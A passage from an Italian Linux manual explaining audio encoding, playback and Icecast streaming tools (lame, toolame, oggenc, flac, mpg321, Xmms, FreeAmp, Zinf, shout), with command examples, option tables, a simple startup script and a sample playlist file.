- `$` **`lame -q 2 prova.wav prova.mp3`** [*Invio*]

  L'esempio mostra la situazione più comune di utilizzo, in cui si specifica l'opzione '**-q 2**' per ottenere un buon risultato. In pratica, si ottiene il file '`prova.mp3`' a partire da '`prova.wav`'. Si intende che il file '`prova.wav`' sia di tipo WAV-RIFF, 16 bit, stereo, 44 100 Hz.

- `$` **`lame -q 2 -p prova.wav prova.mp3`** [*Invio*]

  Come nell'esempio precedente, ottenendo però un file un po' più lungo, per l'aggiunta di un codice di controllo alla fine di ogni *frame*.

- `$` **`lame -q 2 -p -c prova.wav prova.mp3`** [*Invio*]

  Come nell'esempio precedente, con l'attivazione dell'indicatore del copyright.

- `$` **`lame -q 2 -p -c -tg 101`** ↩
  ↪ **`-tt "Conferenza sul software libero" -ta "Pinco Pallino"`** ↩
  ↪ **`-ty "2001" prova.wav prova.mp3`** [*Invio*]

  Come nell'esempio precedente, con l'aggiunta di altre informazioni utili. Si osservi l'uso del genere 101.

- `$` **`lame --decode prova.mp3 prova.wav`** [*Invio*]

  Riproduce il file '`prova.wav`', completo di intestazione, a partire dal file '`prova.mp3`'.

35.8.3 Toolame

Volendo generare file in formato MPEG, ma senza incorrere nel problema dei brevetti che riguardano principalmente lo strato III dello standard, si può usare Toolame, [28] che si limita a utilizzare lo strato II; pertanto genera file «MPEG-1 layer II».

`toolame` [***opzioni***] ***file_in_ingresso file_in_uscita***

La sintassi per l'utilizzo dell'eseguibile '**toolame**' è conforme a quella di '**lame**', con qualche limitazione ed eccezione; in particolare l'opzione '**-h**' di '**toolame**' mostra una guida rapida e non ha nulla a che vedere con la qualità della registrazione.

Toolame impone che il file in ingresso sia diviso in campioni da 16 bit.

Tabella 35.93. Alcune opzioni.

Opzione	Descrizione
`-x`	Forza lo scambio dei byte in ingresso.
`-s` *frequenza_di_campionamento*	Definisce la frequenza di campionamento in ingresso, espressa in kilohertz. Il valore predefinito è di 44,1 kHz, che si esprime come '**44.1**'.
`-m` *modalità*	Consente di specificare la modalità di registrazione, attraverso l'indicazione di una lettera. Quelle fondamentali sono: '**s**' stereo; '**j**' stereo congiunto (predefinito); '**m**' mono. Le modalità di registrazione effettivamente disponibili dipendono anche dal tipo di codifica usato.
`-a`	Mescola i canali del file in ingresso per generare un file monofonico.
`-c`	Attiva l'indicatore relativo al copyright.
`-o`	Indica come **non** originale.

Segue la descrizione di alcuni esempi.

- `$` **`toolame -q 2 prova.wav prova.mp2`** [*Invio*]

  L'esempio mostra la situazione più comune di utilizzo, in cui si specifica l'opzione '**-q 2**' per ottenere un buon risultato. In pratica, si ottiene il file '`prova.mp2`' a partire da '`prova.wav`'. Si intende che il file '`prova.wav`' sia di tipo WAV-RIFF, 16 bit, stereo, 44 100 Hz.

- `$` **`lame -q 2 -c prova.wav prova.mp2`** [*Invio*]

  Come nell'esempio precedente, con l'attivazione dell'indicatore del copyright.

35.8.4 Vorbis Tools

Per l'utilizzo del formato Ogg Vorbis è disponibile il pacchetto di programmi noto come Vorbis Tools. [29]

Si tratta di una raccolta di programmi di utilizzo relativamente semplice, per la codifica, l'esecuzione e la modifica di file Ogg Vorbis.

Per la codifica si utilizza '**oggenc**', con la sintassi seguente:

```
oggenc [opzioni] file_in_ingresso...
```

In pratica, se non si richiede qualcosa di particolare con le opzioni, si indicano i file da codificare (WAV-RIFF) e si ottengono file compressi con lo stesso nome ma con estensione '.ogg'.

Tabella 35.94. Alcune opzioni per l'utilizzo di '**oggenc**'.

Opzione	Descrizione
-o *file* --output=*file*	Permette di specificare il nome del file compresso da generare. L'uso di questa opzione diventa utile, particolarmente, quando il file da comprimere viene fornito attraverso lo standard input indicando un trattino ('-') al posto del nome del file.
-q *n* --quality=*n*	Consente di specificare la qualità del file da generare, attraverso un numero che va da 0 a 10. Il valore predefinito è 3.
-n *modello* --names=*modello*	Consente di specificare il modo in cui generare i nomi dei file, attraverso un modello che riconosce alcune sequenze di escape: '**%a**', '**%t**', '**%l**' e '**%G**', che rappresentano le informazioni fornite con le opzioni che hanno la stessa lettera ('**-a**', '**-t**', '**-l**' e '**-G**').
-a *artista* --artist=*artista*	Consente di annotare il nome di un artista.
-t *titolo* --title=*titolo*	Consente di annotare il titolo della registrazione.
-l *album* --album=*album*	Consente di annotare il titolo della raccolta.
-G *genere* --genre=*genere*	Consente di annotare il genere.

Le opzioni '**-a**', '**-t**' e '**-l**', possono essere inserite più volte, per fare riferimento, in sequenza, a più file distinti. Segue la descrizione di alcuni esempi.

- $ **oggenc *.wav** [*Invio*]

  Elabora i file che corrispondono al modello '*.wav', generando altrettanti file con estensione '.ogg' secondo valori predefiniti.

- $ **cat prova.wav | oggenc -o prova.ogg -** [*Invio*]

  Elabora il file 'prova.wav' che proviene dallo standard input, generando il file 'prova.ogg'.

Per la decodifica, ovvero per generare un file audio non compresso a partire da un formato Ogg Vorbis, si utilizza '**`oggdec`**', con la sintassi seguente:

oggdec [*opzioni*] *file_ogg*...

Se non si specificano opzioni, si ottengono file in formato WAV-RIFF con gli stessi nomi di quelli indicati tra gli argomenti, ma con l'estensione rimpiazzata da '`.wav`', come nell'esempio seguente:

$ **`oggdec *.ogg`** [*Invio*]

Come si può intuire si ottengono altrettanti file con estensione '`.wav`'.

Per leggere le informazioni contenute in un file Ogg Vorbis, si utilizza '**`ogginfo`**', con la sintassi seguente:

ogginfo [*opzioni*] *file_ogg*...

Anche in questo caso, il programma '**`ogginfo`**' viene usato prevalentemente senza opzioni. L'esempio seguente mostra le informazioni di un file che però non contiene annotazioni particolari:

$ **`ogginfo prova.ogg`** [*Invio*]

```
Processing file "prova.ogg"...

New logical stream (#1, serial: 6b8328ba): type vorbis
Vorbis headers parsed for stream 1, information follows...
Version: 0
Vendor: Xiph.Org libVorbis I 20020717 (1.0)
Channels: 2
Rate: 44100

Nominal bitrate: 112,001000 kb/s
Upper bitrate not set
Lower bitrate not set
Vorbis stream 1:
        Total data length: 2661137 bytes
        Playback length: 3m:15s
        Average bitrate: 109,099492 kbps
Logical stream 1 ended
```

Per modificare le annotazioni contenute in un file Ogg Vorbis, si utilizza '**`vorbiscomment`**', la cui sintassi cambia a seconda dell'azione che si intende compiere; pertanto vale la pena di mostrarne l'utilizzo solo attraverso degli esempi.

Generalmente si comincia dalla lettura delle annotazioni contenute nel file Ogg Vorbis che si vuole modificare, salvandole in un file di testo normale:

$ **vorbiscomment -l prova.ogg > prova.txt** [*Invio*]

In questo caso, viene creato il file '`prova.txt`' a partire dalle annotazioni contenute all'interno di '`prova.ogg`'. Il contenuto del file '`prova.txt`' potrebbe essere simile a quello seguente:

```
title=Track 02
artist=NoArtist
album=Unknown Disc
```

Per modificare questi dati nel file Ogg Vorbis, si può intervenire nello stesso file di testo appena generato, cambiandolo per esempio così:

```
title=Concerto n. 8, La cetra, RV238
artist=Antonio Vivaldi
album=Opera 9
```

Per **modificare** le annotazioni con i dati contenuti nel file di testo appena modificato, si può procedere così:

$ **vorbiscomment -w -c prova.txt prova.ogg prova_2.ogg** [*Invio*]

In questo modo si viene a creare un nuovo file Ogg Vorbis denominato '`prova_2.ogg`' con le modifiche apportate, mentre il file originale rimane invariato.

In modo analogo, per **aggiungere** le annotazioni contenute nel file di testo '`prova.txt`', basta usare l'opzione '**`-a`**':

$ **vorbiscomment -a -c prova.txt prova.ogg prova_2.ogg** [*Invio*]

Se invece non si vuole usare un file di testo per indicare le annotazioni, si possono specificare i campi direttamente sulla riga di comando attraverso l'opzione '**`-t`**':

$ **vorbiscomment -a -t "license=GNU GPL" prova.ogg prova_2.ogg** [*Invio*]

In questo caso viene aggiunto il campo '**`LICENSE`**' con la dicitura «GNU GPL».

Si ricorda che i campi delle annotazioni contenute in un file Ogg Vorbis sono liberi e dipende dalle convenzioni il significato pratico che gli si va ad attribuire.

Per l'esecuzione di un file in formato Ogg Vorbis, si utilizza '**`ogg123`**', con la sintassi seguente:

`ogg123` [*opzioni*] {*file_ogg* | *directory* | *http_uri*}...

In condizioni normali non sono necessarie opzioni; piuttosto, è il caso di osservare che i file da eseguire possono essere indicati singolarmente, a directory intere, oppure anche attraverso indirizzi URI del tipo *`http://`*....

In condizioni normali, '**`ogg123`**' dovrebbe essere in grado di indirizzare il flusso audio digitale al file di dispositivo corretto, secondo la modalità che questo richiede. Eventualmente, è possibile modificare questo comportamento con l'uso delle opzioni (che qui non vengono descritte), oppure attraverso la configurazione dei file '`/etc/libao.conf`' e '`~/.libao`'. Si veda eventualmente la pagina di manuale *libao.conf(5)*.

35.8.5 Flac

Flac [30] è il pacchetto standard per la compressione e l'estrazione con il formato FLAC, che ha la caratteristica di non perdere informazioni. Il programma principale del pacchetto è '**`flac`**', con il quale si comprime e si decomprime:

```
flac [azione] [opzioni] file
```

A seconda delle opzioni usate o non usate, si intende se si vuole comprimere, decomprimere o altro, il file indicato alla fine della riga di comando (nel modello sintattico è stata indicata un'opzione iniziale con il nome di «azione», proprio per specificare il da farsi). Quando si esegue una compressione o un'estrazione, il file che si genera dalla compressione o dall'estrazione, si può specificare attraverso l'opzione '**`-o`**'; altrimenti, il programma cerca di determinare da solo un nome appropriato. Per esempio, se si sta comprimendo il file '`prova.wav`', il programma cerca di produrre il file compresso '`prova.flac`'; lo stesso vale, in modo opposto, se si esegue un'estrazione.

Tabella 35.98. Alcune opzioni che rappresentano l'azione da compiere.

Opzione	Descrizione
	La mancanza di una di queste opzioni richiede la compressione del file.
`-d` `--decode`	Richiede l'estrazione del file.
`-t` `--test`	Richiede la verifica dell'integrità del file.

Tabella 35.99. Altre opzioni.

Opzione	Descrizione
`-c` `--stdout`	Invia il risultato dell'elaborazione attraverso lo standard output.
`-o` *file* `--output=`*file*	Invia il risultato dell'elaborazione al file indicato come argomento dell'opzione.
`-f` `--force`	Richiede espressamente la sovrascrittura del file che si genera, se questo esiste già.
`--ogg`	Dichiara il formato del file da comprimere, o da estrarre, come Ogg FLAC, mentre in condizioni normali si fa riferimento al formato FLAC puro e semplice.

La documentazione di Flac riporta molte altre opzioni, che si possono rendere utili o necessarie, per esempio, per dichiarare espressamente le caratteristiche del campionamento in ingres-

so, oppure per richiedere una compressione migliore (ma più lenta). Segue la descrizione di alcuni esempi.

- `$` **`flac musica.wav`** [*Invio*]

  Comprime il file '`musica.wav`', generando il file '`musica.flac`', con opzioni di compressione normali. In questo caso si ottiene un file di dimensioni pari a circa il 53 % di quello originale:

  ```
  flac 1.1.1, Copyright (C) 2000,2001,2002,2003,2004 Josh Coalson
  flac comes with ABSOLUTELY NO WARRANTY.  This is free software, and you are
  welcome to redistribute it under certain conditions.  Type 'flac' for details.

  options: -P 4096 -b 4608 -m -l 8 -q 0 -r 3,3
  musica.wav: wrote 10684429 bytes, ratio=0.539
  ```

- `$` **`flac -o musica.flac musica.wav`** [*Invio*]

  Esegue la stessa operazione dell'esempio precedente, con la differenza che in questo caso si specifica espressamente il nome del file da generare.

- `$` **`flac -t musica.flac`** [*Invio*]

  Verifica l'integrità del file '`musica.flac`':

  ```
  flac 1.1.1, Copyright (C) 2000,2001,2002,2003,2004 Josh Coalson
  flac comes with ABSOLUTELY NO WARRANTY.  This is free software, and you are
  welcome to redistribute it under certain conditions.  Type 'flac' for details.

  musica.flac: ok
  ```

- `$` **`flac -d musica.flac`** [*Invio*]

  Esegue dal file '`musica.flac`' il file '`musica.wav`'.

- `$` **`flac -o musica.wav -d musica.flac`** [*Invio*]

  Esattamente come nell'esempio precedente, specificando il nome del file da generare.

A fianco di '**`flac`**', il programma '**`metaflac`**' consente di intervenire nelle informazioni aggiuntive contenute in un file FLAC:

`metaflac` [***opzioni***] [***operazioni***] ***file_flac***

A titolo di esempio, il comando seguente consente di leggere le informazioni disponibili all'interno di un file FLAC:

`$` **`metaflac --list musica.flac`** [*Invio*]

35.8.6 Mpg321

Mpg321 [31] è un programma a riga di comando per l'esecuzione di file MP2 e MP3. Si tratta precisamente di un programma che ripete le funzionalità di Mpg123, che però non è software libero.

mpg321 [*opzioni*] *file_mp3*...

mpg321 [*opzioni*] *uri_file_mp3*...

Il funzionamento è evidentemente molto semplice; vale la pena di annotare qualche opzione.

Tabella 35.102. Alcune opzioni.

Opzione	Descrizione
`-z` `--shuffle`	Esegue una volta sola, in ordine casuale, i file indicati alla fine della riga di comando.
`-Z` `--random`	Esegue indefinitamente, in ordine casuale, i file indicati alla fine della riga di comando.
`-w` *file* `--wav` *file*	Invece di utilizzare l'adattatore audio per la riproduzione sonora, genera un file WAV.
`--stereo`	Genera un'uscita stereofonica, anche se l'origine è monofonica.
`-v` `--verbose`	Mostra il procedere dell'esecuzione o della conversione.

Segue la descrizione di alcuni esempi.

- `$` **`mpg321 prova.mp3`** [*Invio*]

  Esegue il file '`prova.mp3`'.

- `$` **`mpg321 -v prova.mp3`** [*Invio*]

  Esegue il file '`prova.mp3`', mostrando la progressione dell'esecuzione.

- `$` **`mpg321 -v -w prova.wav prova.mp3`** [*Invio*]

  Esegue il file '`prova.mp3`', generando il file '`prova.wav`'.

35.8.7 MP3blaster

MP3blaster [32] è un programma interattivo per l'esecuzione di file audio (inizialmente solo per file MP3, ma successivamente esteso anche ad altri, compreso Ogg Vorbis). Se viene avviato con l'indicazione di alcuni file audio, si ottiene il pannello di controllo che si vede nella figura 35.103.

Figura 35.103. Pannello principale di MP3blaster.

```
.----------------------------------------------------------------------( - ).
|[F 1] Select Files        [F 2] Add Group           [F 5] Set Group Title     |
|[F 3] Load/Add Playlist   [F 4] Write Playlist      [ C ] Clear Playlist      |
|[ m ] Move Files After    [ M ] Move Files Before   [ / ] Start Search        |
|[ f ] Toggle File Display [F 6] Toggle Repeat       [F 7] Toggle GroupShuffle |
|----------------------------------------------------------------------( + )|
| Global Playback: Play current group, including subgroups        |Mpg1 Layer3|
| Next Song      : Baroque_Ensemble_Les_Eclairs_de_Musique_-_A._Vi |44Khz 128kb|
|                                                                 |JointStereo|
|                                                                 |Threads:100|
|----------------------------[Default]----------------------------------------|
|Apotheose_-_Vivaldi_Allegro_dalla_Sonata_in_mi_minore_per_flauto_e|[ ] shuffle|
|Baroque_Ensemble_Les_Eclairs_de_Musique_-_A._Vivaldi_-_Concerto_in|[ ] repeat |
|                                                                 |       0:20|
|                                                                 |       2:31|
|                                                                 |           |
|                                                                 | |<  ||  >||
|                                                                 | 4   5   6 |
|                                                                 |           |
|                                                                 | <<  []  >>|
|                                                                 | 1   2   3 |
|-----------------------------------------------------------------[ t ]Mixer-|
||> Apothéose - Vivaldi: Allegro dalla Sonata                     |Vol        |
|<Unknown Album> (http://www.vitaminic.it)                        |[<]+064%[>]|
`-----------------------------------------------------------------------------'
```

Le funzionalità che MP3blaster mette a disposizione sono numerose e il loro accesso è poco intuitivo. Nella parte alta appare una sorta di finestra che riepiloga i comandi che possono essere impartiti, ma non sono tutti: per visualizzare gli altri si può scorrere utilizzando i tasti [+] e [-]. La tabella 35.104 elenca alcuni comandi (tasti) che possono essere impartiti durante l'esecuzione di un file audio.

Tabella 35.104. Comandi utili in fase di esecuzione dei brani.

Tasto	Effetto
[*1*]	Salta al brano precedente.
[*2*]	Torna indietro nel brano in corso di esecuzione.
[*3*]	Avvia l'esecuzione del brano corrente.
[*4*]	Avanza nel brano in corso di esecuzione.
[*5*]	Salta al brano successivo.
[*6*]	Pausa.
[*7*]	Stop.
[*F6*]	Attiva o disattiva la richiesta di ripetizione del brano in corso di esecuzione.
[*F7*]	Attiva o disattiva la richiesta di un'esecuzione secondo una sequenza casuale.
[*t*]	Seleziona una linea di amplificazione differente, da controllare poi con i tasti [<] e [>].
[<] [>]	Abbassa o alza il livello di amplificazione relativo alla linea selezionata con il tasto [*t*].
[*q*]	Conclude la modalità di esecuzione.

MP3blaster si avvia attraverso l'eseguibile '**mp3blaster**', con o senza argomenti, ma in generale è meglio indicare subito i file da eseguire:

```
mp3blaster [opzioni] [file]...
```

Eventualmente è possibile anche indicare un indirizzo del tipo `http://...` se da quello è possibile ottenere un flusso audio riconosciuto da MP3blaster.

In generale, se alla fine della riga di comando vengono indicati dei file, viene avviata la loro esecuzione; altrimenti si ottiene generalmente il pannello iniziale del programma, dal quale si possono selezionare le funzioni desiderate.

Come accennato, il modo più semplice per avviare MP3blaster è quello di indicare subito i file da eseguire, come nell'esempio seguente, in cui si fa riferimento a tutti i file con estensione '`.mp3`' e '`.ogg`' contenuti nella directory '`brani/`':

`$` **`mp3blaster brani/*.mp3 brani/*.ogg`** [*Invio*]

35.8.8 Xmms

Xmms, [33] ovvero X multimedia system, è un lettore multimediale grafico, per i formati audio più comuni. Avviandolo per la prima volta, attraverso l'eseguibile '**`xmms`**', si ottiene il pannello di controllo che si vede nella figura 35.105.

Figura 35.105. Pannello principale di Xmms al primo avvio.

Oltre al pannello principale è possibile visualizzare il mixer e l'elenco dei brani pronti per l'esecuzione (*playlist*), come si vede nella figura 35.106, dove si vede anche l'esecuzione di un brano di musica.

Figura 35.106. Pannello completo di Xmms.

I brani da eseguire possono essere indicati attraverso l'interazione con il pannello, utilizzando il menù che si ottiene facendo un clic con il tasto destro del mouse, oppure indicandoli nella riga di comando. Per esempio:

$ **xmms *.mp3** [*Invio*]

In tal caso, come si intuisce, si caricano tutti i file con estensione '`.mp3`' della directory corrente.

La prima volta che si avvia, Xmms crea la directory '`~/.xmms/`', in cui si collocano i file di configurazione. Questa configurazione memorizza anche l'ultimo elenco di brani selezionati, consentendo il riavvio successivo di Xmms con il recupero degli stessi dati.

Xmms richiede l'interfaccia grafica X per funzionare; tuttavia, una volta avviato è possibile controllarlo attraverso altre istanze del comando '**`xmms`**', con delle opzioni apposite. Per esempio:

- $ **xmms -u** [*Invio*]

  mette in pausa l'esecuzione in corso, oppure la fa riprendere;

- $ **xmms -e *.ogg** [*Invio*]

  aggiunge altri brani all'elenco attuale;

- $ **xmms -p** [*Invio*]

  fa partire l'esecuzione dell'elenco di brani attuale;

- $ **xmms -s** [*Invio*]

  ferma l'esecuzione.

Dal pannello grafico, così come è possibile far apparire il mixer e l'elenco dei brani, è possibile fare anche sparire tutti i pannelli. In tal senso, la possibilità di controllare l'esecuzione attraver-

so i comandi del tipo mostrato, diventa molto conveniente. Eventualmente, per far riemergere il pannello principale si può usare il comando:

$ **xmms -m** [*Invio*]

35.8.9 FreeAmp

FreeAmp, [34] è un programma grafico per l'esecuzione di vari tipi di file audio. All'avvio si presenta come si vede nella figura 35.107.

Figura 35.107. Pannello frontale di FreeAmp.

L'eseguibile che compie il lavoro è '**freeamp**' che può ricevere eventualmente come argomento il nome di un file da eseguire immediatamente:

```
freeamp [file]
```

Dal pannello frontale è possibile regolare facilmente il volume della linea di amplificazione; inoltre è possibile spostare la posizione dell'esecuzione (il punto di inizio). Attraverso il pulsante grafico MyMusic si accede a una finestra simile a quella che si vede nella figura 35.108, che ha lo scopo di consentire un accesso facilitato ai file nel proprio disco fisso.

Figura 35.108. Gestore di file audio incorporato in FreeAmp.

Tra le tante funzionalità di FreeAmp esiste anche la possibilità di modificare facilmente le informazioni ID3 dei file MP3. Per modificare i dati di un file, basta selezionarlo nell'ambito della finestra a cui si accede con il pulsante grafico [MyMusic], selezionando da lì il pulsante [Edit]. Si ottiene una maschera simile a quella che si vede nella figura 35.109.

Figura 35.109. Modifica delle informazioni ID3.

FreeAmp è anche in grado di collegarsi a un flusso di dati MP3 fornito attraverso il protocollo HTTP, ovvero uno *stream* HTTP, come quello generato da Icecast, descritto nella sezione 35.9.1. Per un collegamento del genere, basta avviare l'eseguibile '**freeamp**' indicando l'URI corretto, come nell'esempio seguente:

$ **freeamp http://dinkel.brot.dg:8000** [*Invio*]

Come si vede dal comando, pur trattandosi del protocollo HTTP, si utilizza solitamente una porta differente da quella standard. La figura 35.110 mostra in che modo appare FreeAmp quando si collega a un flusso HTTP.

Figura 35.110. Pannello frontale di FreeAmp collegato a un flusso HTTP.

35.8.10 Zinf

Zinf, [35] è una sorta di rivisitazione di FreeAmp: «Zinf is not FreeAmp».

```
zinf [file]
```

```
zinf [uri]
```

Figura 35.111. Pannello frontale di Zinf.

Dal punto di vista operativo, Zinf si comporta come FreeAmp, però c'è un vantaggio importante: se sono installati i file necessari, può funzionare anche con un terminale a caratteri:

```
zinf -ui ncurses.ui [file]
```

```
zinf -ui ncurses.ui [uri]
```

A titolo di esempio, viene mostrato il funzionamento di Zinf per ascoltare una radio Icecast:

```
$ zinf -ui ncurses.ui http://www.sky.fm/mp3/classical.pls [Invio]
```

```
Title   : Mozart - Oboe Concerto in C Major KV 314
Artist  :
Album   :
Year    :
Genre   :
Track   :
Comment:










                                                                   96 kbps
                                                             44 kHz stereo
 press h for keystroke help                                 MPEG-1 layer 3

00:00:24                                                        00:00:-1
########################################################################
```

35.9 Audio attraverso la rete

Ci sono tanti modi di gestire l'audio attraverso la rete. La tecnica più semplice, anche se non è necessariamente la più efficace, consiste nella realizzazione di una connessione TCP normale dove ogni nodo di rete intrattiene una sessione indipendente. Si intende il limite di questo nel fatto che ogni utente che si collega aggiunge del carico alla rete. In pratica, questo approccio può andare bene solo in reti locali poco popolate, oppure con particolari doti di velocità.

Figura 35.113. Idea generale del funzionamento di un sistema di diffusione di audio attraverso la rete, per mezzo di un servente con funzione di ripetitore.

servente ripetitore

cliente per l'ascolto

cliente di trasmissione

cliente per l'ascolto

cliente per l'ascolto

35.9.1 Icecast 1

Icecast 1[36] è un sistema di trasmissione di audio digitale MP3 attraverso il protocollo HTTP.

Icecast 1 è da considerarsi un lavoro obsoleto. Al suo posto si inserisce Icecast 2 che utilizza soltanto il formato Ogg Vorbis per la diffusione di audio digitale attraverso la rete.

Il meccanismo di funzionamento è quello a cui si accenna all'inizio del capitolo, con la particolarità di presentare il flusso digitale come fa il protocollo HTTP, iniziando con l'intestazione seguente, seguita poi dalla codifica MP3:

```
HTTP/1.0 200 OK
Server: icecast/1.0.0
Content-type: audio/mpeg
```

Icecast si compone di un servente, corrispondente all'eseguibile '**`icecast`**' e di un programma cliente per la trasmissione al servente, ovvero al ripetitore, dei file MP3 che altri clienti possono poi ricevere e riprodurre.

Il servente '**`icecast`**' non richiede file di configurazione, dal momento che tutte le informazioni necessarie per il suo funzionamento vengono fornite attraverso la riga di comando; tuttavia, le distribuzioni GNU/Linux possono organizzare il pacchetto in modo da avviare il servizio nell'ambito della procedura di inizializzazione del sistema, dove lo script di avvio potrebbe leggere un file di configurazione con le informazioni necessarie a comporre il comando completo di avvio di '**`icecast`**'.

```
icecast [opzioni]
```

A titolo di esempio si può vedere come potrebbe essere strutturato, in modo elementare, lo script per l'avvio del servizio Icecast:

```
#!/bin/sh
#
# init.d/icecast {start|stop|restart}
#

# Importazione della configurazione di Icecast
. /etc/defaults/icecast

# Analisi dell'argomento usato nella chiamata.
case "$1" in
  start)
        printf "Avvio del servizio Icecast: "
        /usr/sbin/icecast $OPZIONI &
        echo
        ;;
  stop)
        printf "Disattivazione del servizio Icecast: "
        killall icecast
        echo
        ;;
  *)
        echo "Utilizzo: pippo {start|stop}"
        exit 1
esac

exit 0
```

Si può osservare che lo script importa inizialmente il file '`/etc/defaults/icecast`', nel quale evidentemente viene dichiarata la variabile di ambiente '**`OPZIONI`**'. Per esempio, sempre semplificando al massimo, questo file esterno potrebbe essere strutturato nel modo seguente, con l'unico scopo di stabilire una parola d'ordine per l'invio di un flusso audio da ritrasmettere:

```
PASSWORD=D.BOQjOm40WtQ

OPZIONI="-p $PASSWORD"
```

La parola d'ordine in questione, potrebbe essere accettata in chiaro, oppure in modo cifrato, come si intende in questo esempio. Per ottenere la parola d'ordine cifrata a partire da quella in chiaro, si può usare il programma Makepasswd, [37] che non fa parte di Icecast 1:

`$` **`echo ciao | makepasswd --clearfrom - --crypt`** [*Invio*]

```
ciao      D.BOQjOm40WtQ
```

In pratica, la parola d'ordine in chiaro è «ciao», mentre la stringa cifrata equivalente è «D.BOQjOm40WtQ».

Il servente di Icecast utilizza in modo predefinito delle porte TCP per ricevere e inviare il flusso audio MP3. La porta 8000 viene utilizzata normalmente per concedere l'accesso ai

programmi clienti, la porta 8001 viene utilizzata per ricevere il flusso audio da ritrasmettere ed eventualmente la porta 8002 serve per l'amministrazione remota del servente.

Si osservi il fatto che un servente di Icecast potrebbe essere utilizzato anche da un utente comune, tanto più in considerazione dell'utilizzo normale di porte non privilegiate per il suo funzionamento. In tal caso, evidentemente, non si farebbe uso di script della procedura di inizializzazione del sistema.

L'esempio mostrato anticipa l'uso dell'opzione '**-p**', con la quale si stabilisce una parola d'ordine. Ciò permette di evitare che un cliente non autorizzato possa utilizzare il servente per trasmettere un flusso audio. Per conoscere le altre opzioni disponibili è possibile consultare la pagina di manuale *icecast(8)*.

Il servente Icecast prevede anche un file di configurazione che dovrebbe corrispondere a '`/etc/icecast/icecast.conf`', che però qui non viene descritto. A ogni modo, in questo file è possibile anche specificare la parola d'ordine per gli accessi, senza bisogno di usare l'opzione '**-p**' nella riga di comando.

35.9.1.1 Trasmissione al ripetitore

Icecast offre il programma '**shout**' per la trasmissione al servente del flusso audio MP3:

```
shout nodo [opzioni] [file_mp3]...
```

In condizioni normali, è più che sufficiente l'indicazione dell'indirizzo o del nome del nodo in cui si trova il servente da contattare per la trasmissione, assieme all'elenco di file MP3 da trasmettere. Spesso è necessario aggiungere una parola d'ordine per accedere al servente e questo si ottiene con l'opzione '**-P**'. La tabella 35.118 riepiloga alcune opzione di uso comune.

Tabella 35.118. Opzioni principali di '**shout**'.

Opzione	Descrizione
`-P` ***stringa***	Parola d'ordine da trasmettere al servente.
`-e` ***n***	Accede al servente attraverso la porta indicata.
`-l`	Continua la trasmissione all'infinito.
`-p` ***file_elenco***	Indica i file da trasmettere attraverso l'elenco contenuto nel file.
`-r`	Sequenza casuale nella trasmissione dei file audio.

A seconda di come viene compilato, questo programma potrebbe avere la necessità di accedere a porzioni del file system per cui servono privilegi particolari di accesso. Se ciò accade, il programma va avviato come utente '**root**':

`#` **`shout dinkel.brot.dg -P ciao *.mp3`** [*Invio*]

L'esempio precedente fa sì che vengano trasmessi i file corrispondenti al modello '`*.mp3`' al

servente *dinkel.brot.dg*, fornendo la parola d'ordine «ciao», utilizzando la porta TCP predefinita (8001).

`# shout dinkel.brot.dg -P ciao -p elenco` [*Invio*]

Questo secondo esempio è simile al precedente, con la differenza che i file MP3 non vengono elencati nella riga di comando, ma sono forniti in un elenco contenuto nel file di testo '`elenco`'.

`# shout dinkel.brot.dg -P ciao -r -l -p elenco` [*Invio*]

Questo ultimo esempio aggiunge l'uso delle opzioni '**`-r`**' e '**`-l`**', con le quali si ottiene rispettivamente una sequenza casuale nell'ordine dei file audio trasmessi e una trasmissione senza fine.

35.9.1.2 Ricezione del flusso audio digitale

Il sistema usato da Icecast per trasmettere audio digitale MP3 attraverso il protocollo HTTP è uno standard diffuso, per cui sono diversi i programmi per l'esecuzione di file MP3 che sono anche in grado di collegarsi a un flusso di questo tipo. In particolare è disponibile FreeAmp o Zinf, che per accedere a un servente Icecast si utilizzano semplicemente così:

```
freeamp http://nodo:porta
```

```
zinf http://nodo:porta
```

L'esempio seguente fa sì che FreeAmp o Zinf si colleghi al nodo *dinkel.brot.dg*, alla porta 8000 in attesa di un flusso MP3:

`$ freeamp http://dinkel.brot.dg:8000` [*Invio*]

`$ zinf http://dinkel.brot.dg:8000` [*Invio*]

Icecast offre anche un programma cliente abbastanza spartano, che si limita a emettere il flusso ottenuto attraverso lo standard output. Si tratta di '**`listen`**':

```
listen nodo porta [proxy porta]
```

La sintassi del programma è essenziale; in particolare si può osservare il vantaggio dato dall'uso del protocollo HTTP, che in questo modo consente di utilizzare anche un proxy se ciò è necessario per raggiungere la rete esterna.

Da solo, '**`listen`**' serve a poco, perché non fa altro che ricevere il flusso MP3 emettendolo attraverso lo standard output; tuttavia può essere utile per verificare il funzionamento del servizio di Icecast.

35.9.2 Ricezione di radio attraverso Internet

Internet è popolata da «stazioni radio» di tutti i generi. Queste emittenti utilizzano vari tipi di protocolli e di sistemi di compressione, però non tutto è accessibile attraverso il software libero. Di solito si possono ascoltare stazioni Showcast e Icecast.

35.9.2.1 Applicativi comuni per la ricezione di stazioni radio via Internet

Sono molti i programmi in grado di ricevere stazioni radio da Internet; in generale, ogni buon programma per l'esecuzione di file musicali è anche in grado di accedere a dei protocolli di rete. In particolare vale la pena di citare: Xmms, [38] Rhythmbox, [39] FreeAmp [40] e Zinf. [41] Si osservi comunque che quasi tutti i programmi che sono in grado di eseguire dei file multimediali (nel senso di audio e video assieme), sono anche in grado di leggere file che contengono solo audio e anche di collegarsi a una stazione radio del genere.

Figura 35.119. Rhythmbox durante l'ascolto di una stazione radio.

Figura 35.120. Configurazione di una stazione radio con Rhythmbox.

35.9.2.2 Indirizzi di accesso a stazioni radio via Internet

Nelle situazioni più comuni, la ricezione di una stazione radio di Internet si ottiene specificando un indirizzo che fa riferimento al protocollo HTTP, con l'indicazione eventuale di una porta alternativa. Per esempio: `http://dinkel.brot.dg:8000`, `http://dinkel.brot.dg/radio/1001`, `http://dinkel.brot.dg:80/radio/1001`,...

In alternativa, al posto di fare riferimento direttamente alla fonte, l'indirizzo può riguardare un file che indica una o più origini alternative. Per esempio, l'indirizzo `http:/`

/www.mostlyclassical.com/mp3/classical128k.pls punta in pratica al file ‘classical128k.pls’ che deve essere letto e interpretato per accedere alla stazione radio vera e propria. Questo file, la cui estensione sta per *play list*, potrebbe avere un contenuto simile a quello seguente:

```
[playlist]
NumberOfEntries=4
File1=http://64.236.34.196:80/stream/1006
Title1=S K Y . F M - Mostly Classical - Relax... it's good for you!
Length1=-1
File2=http://64.236.34.4:80/stream/1006
Title2=S K Y . F M - Mostly Classical - Relax... it's good for you!
Length2=-1
File3=http://64.236.34.196:80/stream/1006
Title3=S K Y . F M - Mostly Classical - Relax... it's good for you!
Length3=-1
